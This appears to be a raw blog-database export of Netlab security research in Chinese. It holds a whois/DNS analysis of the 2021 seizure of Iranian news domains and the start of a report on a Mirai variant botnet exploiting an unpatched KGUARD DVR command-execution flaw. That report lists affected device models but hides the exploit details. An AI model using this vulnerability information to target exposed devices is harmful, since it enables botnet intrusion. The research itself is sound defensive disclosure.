Whois数据就是记录了一个域名在注册时的基本信息（如域名所有人、联系方式，域名注册商、域名注册日期，过期日期，当前域名的状态和域名当前所使用的DNS服务器等等）。whois数据的查询是对公众开放的，可以用来查询域名是否已经被注册以及刚才提到的注册域名的详细信息。</p>
<p><em><strong>从哪里获取域名的whois数据</strong></em><br>
一个域名的whois数据可以从注册该域名的注册商获得，也可以从负责该域名顶级域的注册局处获得。一般来说注册商的whois数据会更完整，注册局的信息则更能反应域名解析的当前状态。对普通人来说，现在很多公司/机构都有查询域名状态的接口。搜索“whois查询”就能查到很多提供whois查询服务的网站。</p>
</blockquote>
<p>接下来我们看一下这些域名的whois记录有没有什么变化，果然在6月22号的14点有过一次更新，结合whois的历史记录，变更的正式NS服务器地址，应该就是在这个时间点开始，域名的解析发生了变化。</p>
<img src="__GHOST_URL__/content/images/2021/06/whois3.jpg" width="860px" />
<p>上面的whois记录看，有两点值得说明：</p>
<ol>
<li>NS服务器从whois记录和DNS记录中看到的不一致。因为whois信息在注册商和注册局可能存在不一致。我们分别查看了该域名在注册商（onlinenic.com）和注册局（verisign-grs.com）的whois信息（左边为注册局，左边为注册商），如下：</li>
</ol>
<img src="__GHOST_URL__/content/images/2021/06/whois_compare.png" width="860px" />
<p>可以看到：</p>
<ul>
<li>注册局的NS服务器全部为amazon的服务器，注册商的则有两个amazon的服务器，还有一个之前老的alalmtv.com自己的NS服务器。注册商和注册局的数据不一致。</li>
<li>注册商的更新时间要比注册局的更新时间早大约两个小时。</li>
</ul>
<p>以上两点推断：注册局和注册商同步了部分信息（比如NS服务器有部分重合），同步之后，注册局对可能注册信息进行了再次修改，导致其修改时间比注册商晚了两个小时。</p>
<ol start="2">
<li>第二点不一样的是域名状态，相比老的记录，新的记录中，域名状态多了几个server开头状态，而server开头的状态均由注册局设置。关于这些代码的含义，可以参考ICANN关于<a href="https://www.icann.org/resources/pages/epp-status-codes-2014-06-16-en#serverDeleteProhibited">EPP状态码的解释</a>。</li>
</ol>
<p>如果再对比另外一个被拦截的域名<code>alforatnews.com</code>，该域名的注册商是注册于1api.net，和<code>alalamtv.net</code>并不是同一家注册商。可以更清晰的看到注册局和注册商（左边为注册局，右边为注册商）对该域名的whois信息完全不同。注册商的whois信息完全再拦截前后完全没有任何变化，而注册局的更新时间，域名状态和NS服务器则发生了明显的变化，显然是注册局绕过注册商对注册信息进行了修改。如下图：</p>
<img src="__GHOST_URL__/content/images/2021/06/whois_compare2.png" width="860px" />
<p>经过分析，发现其他被拦截的域名也有类似的注册局和注册商信息完全不同步的情况。</p>
<h3 id="">挖掘更多被拦截的域名</h3>
<p>结合DNS数据和whois数据，判定是通过对域名的权威DNS服务器的接管达到了对域名的冻结。<br>
针对这两个域名可以这么做，那么其他的域名劫持方式也是类似的。</p>
<p>此时利用PassiveDNS数据库，可以很方便的把被劫持的域名抽取出来，目前利用网络基础数据可以挖掘的36个被拦截的域名中的32个他们均在2021.06.22被冻结，<strong>另发现2个域名分别在2021.03.25和2021.04.17冻结</strong>，具体见下文。分别涉及 <code>tv, net, com, org</code> 四个顶级域。其中<code>tv, net, com</code>归<a href="https://www.verisign.com/">Verisign</a>管理，<code>org</code>则归<a href="https://thenew.org/">PIR</a>管理。</p>
<h2 id="">关于域名所有权，注册局/注册商，冻结/接管域名的问题</h2>
<p>冻结/拦截域名的流程，从入口来说是域名注册局/域名注册商，那么究竟在什么样的情况下可以对域名实施接管（domain take-down）？</p>
<p>在ICANN现有体系下，注册商和注册局，自己是没有权力自行主动发起域名接管流程的。<br>
一般情况下，如果域名被滥用，如版权纠纷，钓鱼网站，僵尸网络，恶意软件；那么很明确，需要有用户/安全厂商发起投诉，注册局/注册商紧接着才可以实施域名接管。<br>
还有一种情况是注册商和注册局接收到法院的命令的时候，也必须执行。美国对伊朗域名接管的事件，都是通过法院下达命令。这次涉及到的几个域名注册局，都是美国公司，所以不得不执行法院的规定。有如下相关内容可以供参考:</p>
<ul>
<li>在2011年10月份的时候，theregister.com网站刊登了美国的移民和海关执法局（Immigration and Customs Enforcement，ICE)的资深探员针对 <code>.com</code> 域名管辖权的意见，他认为，<a href="https://www.theregister.com/2011/10/11/verisign_asks_for_web_takedown_powers/"><strong>.com下面所有域名都应该受到美国法律的管辖</strong></a>。(<strong>Senior ICE agents are on record saying that they believe all .com addresses fall under US jurisdiction.</strong>)。</li>
<li>在2020年11月份美国司法部公共事务办公室的在“冻结伊朗革命卫队使用的域名”的公告中提到国家安全助理司法部长约翰·C·德默斯对外部势力利用美国公司进行进行宣传的说法：<a href="https://www.justice.gov/opa/pr/united-states-seizes-domain-names-used-iran-s-islamic-revolutionary-guard-corps">“我们将继续使用，我们所有的工具来阻止伊朗政府<strong>滥用美国公司和社交媒体</strong>来暗中传播宣传，试图秘密影响美国公众，并挑拨离间。</a>（We will continue to use all of our tools to stop the Iranian Government from <strong>misusing U.S. companies and social media</strong> to spread propaganda covertly, to attempt to influence the American public secretly, and to sow discord）。</li>
</ul>
<h2 id="">被拦截的域名列表</h2>
<pre><code>afaq.tv
ahlulbayt.tv
alalamtv.net
al-anwar.tv
aleshraq.tv
alforatnews.com
alimantv.com
alkawthartv.com
almaalomah.org
almaalomah.com (2021.04.17 冻结)
almaaref.tv
almasaraloula.tv
almasirah.net
almasirah.tv
alnaeem.tv
asiasat.tv
assirat.tv
haditv.com
hidayat.tv
hodhod.tv
interaztv.com
irtvu.com
kafmedia.net
karbala-tv.net
kataibhezbollah.org
kudustv.com
lualuatv.com
nabaa.tv
nooraf.tv
paltoday.tv
presstv.com
r-m-n.net（2021.03.25 冻结）
u-news.net
wintvindia.com
</code></pre>
<h2 id="">版权</h2>
<p>版权声明: 本文为Netlab原创，依据 <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0 </a>许可证进行授权，转载请附上出处链接及本声明。</p>
<!--kg-card-end: markdown--> | 伊朗新闻网站被美国阻断的事成为了最近的新闻热点，报道的主要内容是：
美国司法部查封36个伊朗的新闻网站，其中许多网站与伊朗的“虚假信息活动”有关。这些网站首页通知显示，根据美国法律，这些网站已被美国政府查封，通知上还附有美国联邦调查局和美国商务部产业安全局的印徽。
到底哪些新闻站被拦截了，我们查询了几个新闻源都没有给出全部被拦截的网站列表。
其实这种从域名角度做拦截的手段，总是会在大网的DNS/whois数据中留下踪迹。我们利用这些网络基础数据分析出了32+2个被拦截的伊朗新闻网站的域名，其中的2个域名是在今年3月和4月份被拦截的；通过技术分析，也确认这些修改是直接通过注册局进行的改动。被拦截的域名的详细列表见文末。
分析
我们拿其中被拦截的域名之一alalamtv.net 来做一个分析(见相关新闻报道)。
DNS记录
从该域名出发，我们利用PassivedDNS记录可以看到，其NS服务器和IP地址在6月23号的凌晨3点40开始发生了变化，无论NS服务器还是IP地址都切换到了亚马逊的服务器。
whois记录
先说结论：通过对不同域名的whois数据来看，并比对了同一域名在注册局和注册商（注册局和注册商的解释见下）返回的whois数据，推出是由对应的注册局绕过来域名拥有者和注册商直接对域名的解析信息作的修改。
下面是具体的技术分析细节。
whois数据分析
在介绍利用whois数据分析被拦截的域名之前，先对域名注册流程，注册过程中涉及到的相关实体和whois数据的相关信息做一下简单介绍。
注册人
注册域名的个人或者单位，是域名所有者。
注册商
注册商是是一个商业实体或组织，它们由互联网名称与数字地址分配机构（ICANN）或者一个国家性的国家代码顶级域名（ccTLD）域名注册局委派，以在指定的域名注册数据库中管理互联网域名，向公众提供此类服务。并负责提供DNS解析、域名变更过户、域名续费等操作。比如国内的阿里云或者国外的Godday就是域名注册商。
注册局
注册局是顶级域名下注册的域名的数据库的操作者。比如 .com/.net的域名注册局为Verisign公司，.cn域名的域名注册局为cnnic。注册局维护自己负责的顶级域名的数据库。
域名注册的流程
一般的域名注册流程是域名注册人向注册商提出注册申请，注册商将注册信息（域名注册人，注册时间，过期时间等等）传给注册局，注册局将必要信息同步到顶级域名数据库。这样你的域名就可以在互联网上解析，被人访问到了。
以360的域名360.cn为例： 注册人（北京奇虎科技有限公司) --> 注册商（厦门易名科技股份有限公司） --> 注册局（中国互联网信息中心CNNIC）
什么是域名的Whois数据
Whois数据就是记录了一个域名在注册时的基本信息（如域名所有人、联系方式，域名注册商、域名注册日期，过期日期，当前域名的状态和域名当前所使用的DNS服务器等等）。whois数据的查询是对公众开放的，可以用来查询域名是否已经被注册以及刚才提到的注册域名的详细信息。
从哪里获取域名的whois数据
一个域名的whois数据可以从注册该域名的注册商获得，也可以从负责该域名顶级域的注册局处获得。一般来说注册商的whois数据会更完整，注册局的信息则更能反应域名解析的当前状态。对普通人来说，现在很多公司/机构都有查询域名状态的接口。搜索“whois查询”就能查到很多提供whois查询服务的网站。
接下来我们看一下这些域名的whois记录有没有什么变化，果然在6月22号的14点有过一次更新，结合whois的历史记录，变更的正式NS服务器地址，应该就是在这个时间点开始，域名的解析发生了变化。
上面的whois记录看，有两点值得说明：
1. NS服务器从whois记录和DNS记录中看到的不一致。因为whois信息在注册商和注册局可能存在不一致。我们分别查看了该域名在注册商（onlinenic.com）和注册局（verisign-grs.com）的whois信息（左边为注册局，左边为注册商），如下：
可以看到：
* 注册局的NS服务器全部为amazon的服务器，注册商的则有两个amazon的服务器，还有一个之前老的alalmtv.com自己的NS服务器。注册商和注册局的数据不一致。
* 注册商的更新时间要比注册局的更新时间早大约两个小时。
以上两点推断：注册局和注册商同步了部分信息（比如NS服务器有部分重合），同步之后，注册局对可能注册信息进行了再次修改，导致其修改时间比注册商晚了两个小时。
2. 第二点不一样的是域名状态，相比老的记录，新的记录中，域名状态多了几个server开头状态，而server开头的状态均由注册局设置。关于这些代码的含义，可以参考ICANN关于EPP状态码的解释。
如果再对比另外一个被拦截的域名alforatnews.com，该域名的注册商是注册于1api.net，和alalamtv.net并不是同一家注册商。可以更清晰的看到注册局和注册商（左边为注册局，右边为注册商）对该域名的whois信息完全不同。注册商的whois信息完全再拦截前后完全没有任何变化，而注册局的更新时间，域名状态和NS服务器则发生了明显的变化，显然是注册局绕过注册商对注册信息进行了修改。如下图：
经过分析，发现其他被拦截的域名也有类似的注册局和注册商信息完全不同步的情况。
挖掘更多被拦截的域名
结合DNS数据和whois数据，判定是通过对域名的权威DNS服务器的接管达到了对域名的冻结。
针对这两个域名可以这么做，那么其他的域名劫持方式也是类似的。
此时利用PassiveDNS数据库，可以很方便的把被劫持的域名抽取出来，目前利用网络基础数据可以挖掘的36个被拦截的域名中的32个他们均在2021.06.22被冻结，另发现2个域名分别在2021.03.25和2021.04.17冻结，具体见下文。分别涉及 tv, net, com, org 四个顶级域。其中tv, net, com归Verisign管理，org则归PIR管理。
关于域名所有权，注册局/注册商，冻结/接管域名的问题
冻结/拦截域名的流程，从入口来说是域名注册局/域名注册商，那么究竟在什么样的情况下可以对域名实施接管（domain take-down）？
在ICANN现有体系下，注册商和注册局，自己是没有权力自行主动发起域名接管流程的。
一般情况下，如果域名被滥用，如版权纠纷，钓鱼网站，僵尸网络，恶意软件；那么很明确，需要有用户/安全厂商发起投诉，注册局/注册商紧接着才可以实施域名接管。
还有一种情况是注册商和注册局接收到法院的命令的时候，也必须执行。美国对伊朗域名接管的事件，都是通过法院下达命令。这次涉及到的几个域名注册局，都是美国公司，所以不得不执行法院的规定。有如下相关内容可以供参考:
* 在2011年10月份的时候，theregister.com网站刊登了美国的移民和海关执法局（Immigration and Customs Enforcement，ICE)的资深探员针对 .com 域名管辖权的意见，他认为，.com下面所有域名都应该受到美国法律的管辖。(Senior ICE agents are on record saying that they believe all .com addresses fall under US jurisdiction.)。
* 在2020年11月份美国司法部公共事务办公室的在“冻结伊朗革命卫队使用的域名”的公告中提到国家安全助理司法部长约翰·C·德默斯对外部势力利用美国公司进行进行宣传的说法：“我们将继续使用，我们所有的工具来阻止伊朗政府滥用美国公司和社交媒体来暗中传播宣传，试图秘密影响美国公众，并挑拨离间。（We will continue to use all of our tools to stop the Iranian Government from misusing U.S. companies and social media to spread propaganda covertly, to attempt to influence the American public secretly, and to sow discord）。
被拦截的域名列表
afaq.tv
ahlulbayt.tv
alalamtv.net
al-anwar.tv
aleshraq.tv
alforatnews.com
alimantv.com
alkawthartv.com
almaalomah.org
almaalomah.com (2021.04.17 冻结)
almaaref.tv
almasaraloula.tv
almasirah.net
almasirah.tv
alnaeem.tv
asiasat.tv
assirat.tv
haditv.com
hidayat.tv
hodhod.tv
interaztv.com
irtvu.com
kafmedia.net
karbala-tv.net
kataibhezbollah.org
kudustv.com
lualuatv.com
nabaa.tv
nooraf.tv
paltoday.tv
presstv.com
r-m-n.net（2021.03.25 冻结）
u-news.net
wintvindia.com
版权
版权声明: 本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"伊朗新闻网站被美国阻断的事成为了最近的新闻热点，[报道](https://3w.huanqiu.com/a/c36dc8/43egq3g6ULK)的主要内容是：\n> 美国司法部查封36个伊朗的新闻网站，其中许多网站与伊朗的“虚假信息活动”有关。这些网站首页通知显示，根据美国法律，这些网站已被美国政府查封，通知上还附有美国联邦调查局和美国商务部产业安全局的印徽。\n\n到底哪些新闻站被拦截了，我们查询了几个新闻源都没有给出全部被拦截的网站列表。\n其实这种从域名角度做拦截的手段，总是会在大网的DNS/whois数据中留下踪迹。我们利用这些网络基础数据分析出了32+2个被拦截的伊朗新闻网站的域名，其中的2个域名是在今年3月和4月份被拦截的；通过技术分析，也确认这些修改是直接通过注册局进行的改动。被拦截的域名的详细列表见文末。\n\n## 分析\n我们拿其中被拦截的域名之一alalamtv.net 来做一个分析(见[相关新闻报道](https://www.reuters.com/world/middle-east/notices-iran-linked-websites-say-they-have-been-seized-by-us-2021-06-22/))。\n\n### DNS记录\n从该域名出发，我们利用PassivedDNS记录可以看到，其NS服务器和IP地址在6月23号的凌晨3点40开始发生了变化，无论NS服务器还是IP地址都切换到了亚马逊的服务器。\n\n<img src=\"__GHOST_URL__/content/images/2021/06/rrset.jpg\" width=\"860px\" />\n\n### whois记录\n\n先说结论：通过对不同域名的whois数据来看，并比对了同一域名在注册局和注册商（注册局和注册商的解释见下）返回的whois数据，推出是由对应的注册局绕过来域名拥有者和注册商直接对域名的解析信息作的修改。\n\n下面是具体的技术分析细节。\n#### whois数据分析\n\n在介绍利用whois数据分析被拦截的域名之前，先对域名注册流程，注册过程中涉及到的相关实体和whois数据的相关信息做一下简单介绍。\n\n> \n> ***注册人***\n> 注册域名的个人或者单位，是域名所有者。\n> \n> ***注册商***\n> 注册商是是一个商业实体或组织，它们由互联网名称与数字地址分配机构（ICANN）或者一个国家性的国家代码顶级域名（ccTLD）域名注册局委派，以在指定的域名注册数据库中管理互联网域名，向公众提供此类服务。并负责提供DNS解析、域名变更过户、域名续费等操作。比如国内的阿里云或者国外的Godday就是域名注册商。\n> \n> ***注册局***\n> 注册局是顶级域名下注册的域名的数据库的操作者。比如 .com/.net的域名注册局为[Verisign公司](https://www.verisign.com/)，.cn域名的域名注册局为[cnnic](http://www.cnnic.cn/)。注册局维护自己负责的顶级域名的数据库。\n> \n> ***域名注册的流程***\n> 一般的域名注册流程是域名注册人向注册商提出注册申请，注册商将注册信息（域名注册人，注册时间，过期时间等等）传给注册局，注册局将必要信息同步到顶级域名数据库。这样你的域名就可以在互联网上解析，被人访问到了。\n> \n> 以360的域名360.cn为例： 注册人（北京奇虎科技有限公司) --> 注册商（厦门易名科技股份有限公司） --> 注册局（中国互联网信息中心CNNIC）\n> \n> ***什么是域名的Whois数据***\n> Whois数据就是记录了一个域名在注册时的基本信息（如域名所有人、联系方式，域名注册商、域名注册日期，过期日期，当前域名的状态和域名当前所使用的DNS服务器等等）。whois数据的查询是对公众开放的，可以用来查询域名是否已经被注册以及刚才提到的注册域名的详细信息。\n> \n> ***从哪里获取域名的whois数据***\n> 一个域名的whois数据可以从注册该域名的注册商获得，也可以从负责该域名顶级域的注册局处获得。一般来说注册商的whois数据会更完整，注册局的信息则更能反应域名解析的当前状态。对普通人来说，现在很多公司/机构都有查询域名状态的接口。搜索“whois查询”就能查到很多提供whois查询服务的网站。\n> \n\n\n接下来我们看一下这些域名的whois记录有没有什么变化，果然在6月22号的14点有过一次更新，结合whois的历史记录，变更的正式NS服务器地址，应该就是在这个时间点开始，域名的解析发生了变化。\n\n<img src=\"__GHOST_URL__/content/images/2021/06/whois3.jpg\" width=\"860px\" />\n\n上面的whois记录看，有两点值得说明：\n1. NS服务器从whois记录和DNS记录中看到的不一致。因为whois信息在注册商和注册局可能存在不一致。我们分别查看了该域名在注册商（onlinenic.com）和注册局（verisign-grs.com）的whois信息（左边为注册局，左边为注册商），如下：\n\n<img src=\"__GHOST_URL__/content/images/2021/06/whois_compare.png\" width=\"860px\" />\n\n可以看到：\n * 注册局的NS服务器全部为amazon的服务器，注册商的则有两个amazon的服务器，还有一个之前老的alalmtv.com自己的NS服务器。注册商和注册局的数据不一致。\n * 注册商的更新时间要比注册局的更新时间早大约两个小时。\n \n 以上两点推断：注册局和注册商同步了部分信息（比如NS服务器有部分重合），同步之后，注册局对可能注册信息进行了再次修改，导致其修改时间比注册商晚了两个小时。\n \n2. 第二点不一样的是域名状态，相比老的记录，新的记录中，域名状态多了几个server开头状态，而server开头的状态均由注册局设置。关于这些代码的含义，可以参考ICANN关于[EPP状态码的解释](https://www.icann.org/resources/pages/epp-status-codes-2014-06-16-en#serverDeleteProhibited)。\n\n如果再对比另外一个被拦截的域名```alforatnews.com```，该域名的注册商是注册于1api.net，和```alalamtv.net```并不是同一家注册商。可以更清晰的看到注册局和注册商（左边为注册局，右边为注册商）对该域名的whois信息完全不同。注册商的whois信息完全再拦截前后完全没有任何变化，而注册局的更新时间，域名状态和NS服务器则发生了明显的变化，显然是注册局绕过注册商对注册信息进行了修改。如下图：\n\n<img src=\"__GHOST_URL__/content/images/2021/06/whois_compare2.png\" width=\"860px\" />\n\n经过分析，发现其他被拦截的域名也有类似的注册局和注册商信息完全不同步的情况。\n\n\n### 挖掘更多被拦截的域名\n结合DNS数据和whois数据，判定是通过对域名的权威DNS服务器的接管达到了对域名的冻结。\n针对这两个域名可以这么做，那么其他的域名劫持方式也是类似的。\n\n此时利用PassiveDNS数据库，可以很方便的把被劫持的域名抽取出来，目前利用网络基础数据可以挖掘的36个被拦截的域名中的32个他们均在2021.06.22被冻结，**另发现2个域名分别在2021.03.25和2021.04.17冻结**，具体见下文。分别涉及 ```tv, net, com, org``` 四个顶级域。其中```tv, net, com```归[Verisign](https://www.verisign.com/)管理，```org```则归[PIR](https://thenew.org/)管理。\n\n## 关于域名所有权，注册局/注册商，冻结/接管域名的问题\n冻结/拦截域名的流程，从入口来说是域名注册局/域名注册商，那么究竟在什么样的情况下可以对域名实施接管（domain take-down）？\n\n在ICANN现有体系下，注册商和注册局，自己是没有权力自行主动发起域名接管流程的。\n一般情况下，如果域名被滥用，如版权纠纷，钓鱼网站，僵尸网络，恶意软件；那么很明确，需要有用户/安全厂商发起投诉，注册局/注册商紧接着才可以实施域名接管。\n还有一种情况是注册商和注册局接收到法院的命令的时候，也必须执行。美国对伊朗域名接管的事件，都是通过法院下达命令。这次涉及到的几个域名注册局，都是美国公司，所以不得不执行法院的规定。有如下相关内容可以供参考:\n* 在2011年10月份的时候，theregister.com网站刊登了美国的移民和海关执法局（Immigration and Customs Enforcement，ICE)的资深探员针对 ```.com``` 域名管辖权的意见，他认为，[**.com下面所有域名都应该受到美国法律的管辖**](https://www.theregister.com/2011/10/11/verisign_asks_for_web_takedown_powers/)。(**Senior ICE agents are on record saying that they believe all .com addresses fall under US jurisdiction.**)。\n* 在2020年11月份美国司法部公共事务办公室的在“冻结伊朗革命卫队使用的域名”的公告中提到国家安全助理司法部长约翰·C·德默斯对外部势力利用美国公司进行进行宣传的说法：[“我们将继续使用，我们所有的工具来阻止伊朗政府**滥用美国公司和社交媒体**来暗中传播宣传，试图秘密影响美国公众，并挑拨离间。](https://www.justice.gov/opa/pr/united-states-seizes-domain-names-used-iran-s-islamic-revolutionary-guard-corps )（We will continue to use all of our tools to stop the Iranian Government from **misusing U.S. companies and social media** to spread propaganda covertly, to attempt to influence the American public secretly, and to sow discord）。\n\n\n## 被拦截的域名列表\n```\nafaq.tv\nahlulbayt.tv\nalalamtv.net\nal-anwar.tv\naleshraq.tv\nalforatnews.com\nalimantv.com\nalkawthartv.com\nalmaalomah.org\nalmaalomah.com (2021.04.17 冻结)\nalmaaref.tv\nalmasaraloula.tv\nalmasirah.net\nalmasirah.tv\nalnaeem.tv\nasiasat.tv\nassirat.tv\nhaditv.com\nhidayat.tv\nhodhod.tv\ninteraztv.com\nirtvu.com\nkafmedia.net\nkarbala-tv.net\nkataibhezbollah.org\nkudustv.com\nlualuatv.com\nnabaa.tv\nnooraf.tv\npaltoday.tv\npresstv.com\nr-m-n.net（2021.03.25 冻结）\nu-news.net\nwintvindia.com\n```\n\n##版权\n版权声明: 本文为Netlab原创，依据 [CC BY-SA 4.0 ](https://creativecommons.org/licenses/by-sa/4.0/)许可证进行授权，转载请附上出处链接及本声明。"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 60d31f543819e50007634445 |
post | null | 2021-06-25T02:47:50.000Z | 63873b9a8b1c1e0007f52fd9 | mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability | 0 | 2021-07-08T02:29:53.000Z | public | published | null | 2021-07-01T03:37:10.000Z | Mirai_ptea Botnet利用KGUARD DVR未公开漏洞报告 | <!--kg-card-begin: markdown--><h1 id="">版权</h1>
<p>版权声明：本文为Netlab原创，依据 <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a> 许可证进行授权，转载请附上出处链接及本声明。</p>
<h1 id="">概述</h1>
<p>2021-06-22我们检测到一个我们命名为<code>mirai_ptea</code>的mirai变种样本通过未知漏洞传播。经过分析，该漏洞为<a href="https://www.kguard.com.tw/">KGUARD DVR</a>未公开的漏洞。从我们的分析看该漏洞存在于2016年的固件版本中。我们能找到的2017年之后的固件厂家均已经修复该漏洞。有意思的是，一天以后，6月23日，我们收到安全社区的询问，咨询我们是否看到一种新的DDoS攻击botnet。交叉对比线索，居然就是我们刚发现的这个botnet，目前看。这个僵尸网络处于活跃的攻击状态(见最后)。</p>
<h2 id="">时间线</h2>
<ul>
<li>2021-03-22 我们历史数据首次观察到针对该漏洞的探测扫描</li>
<li>2021-06-22 我们观察到mirai_ptea样本利用该漏洞传播</li>
<li>2021-06-23 我们收到安全社区的询问是否看到一种新的DDoS攻击botnet</li>
<li>2021-06-25 我们观察到mirai_aurora样本利用该漏洞传播</li>
</ul>
<h1 id="">漏洞分析</h1>
<p>鉴于我们并未发现该漏洞的公开资料，为防止该漏洞被滥用，此处我们将隐藏部分关键信息。</p>
<p>KGUARD DVR 2016年的固件上的<code>***</code>程序监听在<code>0.0.0.0</code>的<code>*****</code>端口无需认证即可远程执行系统命令。 最新的固件中厂家通过修改监听地址为<code>127.0.0.1</code>修复了该漏洞。部分利用payload如下：<br>
<img src="__GHOST_URL__/content/images/2021/07/mirai_ptea_xx_exp_p.png" alt="mirai_ptea_xx_exp_p" loading="lazy"></p>
<h2 id="">受影响设备分析</h2>
<p>通过探测我们发现至少3千左右的在线设备依然存在该漏洞。已知仍然受影响设备如下:</p>
<table>
<thead>
<tr>
<th>DeviceType</th>
<th>ProductType</th>
<th>HardVersion</th>
<th>DefDeviceName</th>
</tr>
</thead>
<tbody>
<tr>
<td>D1004NR</td>
<td>DVR4-1600</td>
<td>DM-268A</td>
<td>DVR4-1600</td>
</tr>
<tr>
<td>D1004NR</td>
<td>HY-DVR</td>
<td>DM-268</td>
<td>720P-HY04N</td>
</tr>
<tr>
<td>D1004NR</td>
<td>HY-DVR</td>
<td>DM-268A</td>
<td>720P-HY04N</td>
</tr>
<tr>
<td>D1004NR</td>
<td>HY-DVR</td>
<td>DM-274</td>
<td>720P-HY04N</td>
</tr>
<tr>
<td>D1004NR</td>
<td>HY-DVR</td>
<td>DM-274B</td>
<td>720P-HY04N</td>
</tr>
<tr>
<td>D1004NR</td>
<td>NHDR</td>
<td>DM-274</td>
<td>NHDR-3204AHD</td>
</tr>
<tr>
<td>D1004NR</td>
<td>RL-AHD4n</td>
<td>DM-268</td>
<td>720P-HY04N</td>
</tr>
<tr>
<td>D1008NR</td>
<td>1093/508N-DVRBM08H</td>
<td>DM-292</td>
<td>720P-HY08N</td>
</tr>
<tr>
<td>D1008NR</td>
<td>DVR8-1600</td>
<td>DM-298</td>
<td>DVR8-1600</td>
</tr>
<tr>
<td>D1008NR</td>
<td>DVR8-HDA10L</td>
<td>DM-292</td>
<td>DVR8-HDA10L</td>
</tr>
<tr>
<td>D1008NR</td>
<td>HD881</td>
<td>DM-292</td>
<td>HD881</td>
</tr>
<tr>
<td>D1008NR</td>
<td>HY-DVR</td>
<td>DM-292</td>
<td>720P-HY08N</td>
</tr>
<tr>
<td>D1008NR</td>
<td>HY-DVR</td>
<td>DM-298</td>
<td>720P-HY08N</td>
</tr>
<tr>
<td>D1008NR</td>
<td>NHDR</td>
<td>DM-298</td>
<td>NHDR-3208AHD</td>
</tr>
<tr>
<td>D1008NR</td>
<td>RL-AHD8n</td>
<td>DM-292</td>
<td>720P-HY08N</td>
</tr>
<tr>
<td>D1016NR</td>
<td>DVR16-HDA10L</td>
<td>DM-303</td>
<td>DVR16-HDA10L</td>
</tr>
<tr>
<td>D1016NR</td>
<td>HD1681</td>
<td>DM-303</td>
<td>HD1681</td>
</tr>
<tr>
<td>D1016NR</td>
<td>HY-DVR</td>
<td>DM-303A</td>
<td>720P-HY16N</td>
</tr>
<tr>
<td>D1016NR</td>
<td>HY-DVR</td>
<td>DM-310</td>
<td>720P-HY16N</td>
</tr>
<tr>
<td>D1016NR</td>
<td>HY-DVR</td>
<td>DM-310A</td>
<td>720P-HY16N</td>
</tr>
<tr>
<td>D1016NR</td>
<td>NHDR</td>
<td>DM-310</td>
<td>NHDR-3216AHD</td>
</tr>
<tr>
<td>D1016NR</td>
<td>RL-MHD16n(21A)</td>
<td>DM-310A</td>
<td>720P-HY16N</td>
</tr>
<tr>
<td>D1104</td>
<td>HY-DVR</td>
<td>DM-290A</td>
<td>1080P-HY04</td>
</tr>
<tr>
<td>D1104</td>
<td>NHDR</td>
<td>DM-307</td>
<td>NHDR-5304AHD</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HD1T4</td>
<td>DM-291A</td>
<td>1080P-04</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HD481</td>
<td>DM-291</td>
<td>HD481</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HRD-E430L</td>
<td>DM-291A</td>
<td>HRD-E430L</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HY-DVR</td>
<td>DM-284</td>
<td>1080P-HY04N</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HY-DVR</td>
<td>DM-291</td>
<td>"Panda</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HY-DVR</td>
<td>DM-291</td>
<td>1080P-HY04N</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HY-DVR</td>
<td>DM-291A</td>
<td>1080P-HY04N</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HY-DVR</td>
<td>DM-291C</td>
<td>LRA3040N</td>
</tr>
<tr>
<td>D1104NR</td>
<td>NHDR</td>
<td>DM-307</td>
<td>NHDR-5104AHD</td>
</tr>
<tr>
<td>D1104NR</td>
<td>SDR-B73303</td>
<td>DM-291A</td>
<td>SDR-B73303</td>
</tr>
<tr>
<td>D1104NR</td>
<td>SVR9204H</td>
<td>DM-291A</td>
<td>1080P-HY04N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>1093/538P</td>
<td>DM-290</td>
<td>1080P-HY08N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>DVR8-4575</td>
<td>DM-290</td>
<td>DVR8-4575</td>
</tr>
<tr>
<td>D1108NR</td>
<td>DVR8-HDA10P</td>
<td>DM-290</td>
<td>DVR8-HDA10P</td>
</tr>
<tr>
<td>D1108NR</td>
<td>HRD-E830L</td>
<td>DM-290A</td>
<td>HRD-E830L</td>
</tr>
<tr>
<td>D1108NR</td>
<td>HY-DVR</td>
<td>DM-290</td>
<td>1080P-HY08N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>HY-DVR</td>
<td>DM-290A</td>
<td>1080P-HY08N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>HY-DVR</td>
<td>DM-290A</td>
<td>LRA3080N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>NHDR</td>
<td>DM-307</td>
<td>NHDR-5108AHD</td>
</tr>
<tr>
<td>D1108NR</td>
<td>RL-AHD8p</td>
<td>DM-290</td>
<td>1080P-HY08N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>SDR-B74301</td>
<td>DM-290A</td>
<td>SDR-B74301</td>
</tr>
<tr>
<td>D1108NR</td>
<td>SDR-B74303</td>
<td>DM-290A</td>
<td>SDR-B74303</td>
</tr>
<tr>
<td>D1116</td>
<td>HY-DVR</td>
<td>DM-300</td>
<td>EHR-5164</td>
</tr>
<tr>
<td>D1116NR</td>
<td>HRD-E1630L</td>
<td>DM-295</td>
<td>HRD-E1630L</td>
</tr>
<tr>
<td>D1116NR</td>
<td>HY-DVR</td>
<td>DM-295</td>
<td>1080P-HY16N</td>
</tr>
<tr>
<td>D1116NR</td>
<td>HY-DVR</td>
<td>DM-295</td>
<td>LRA3160N</td>
</tr>
<tr>
<td>D1116NR</td>
<td>HY-DVR</td>
<td>DM-299</td>
<td>1080P-HY16N</td>
</tr>
<tr>
<td>D1116NR</td>
<td>SDR-B75303</td>
<td>DM-295</td>
<td>SDR-B75303</td>
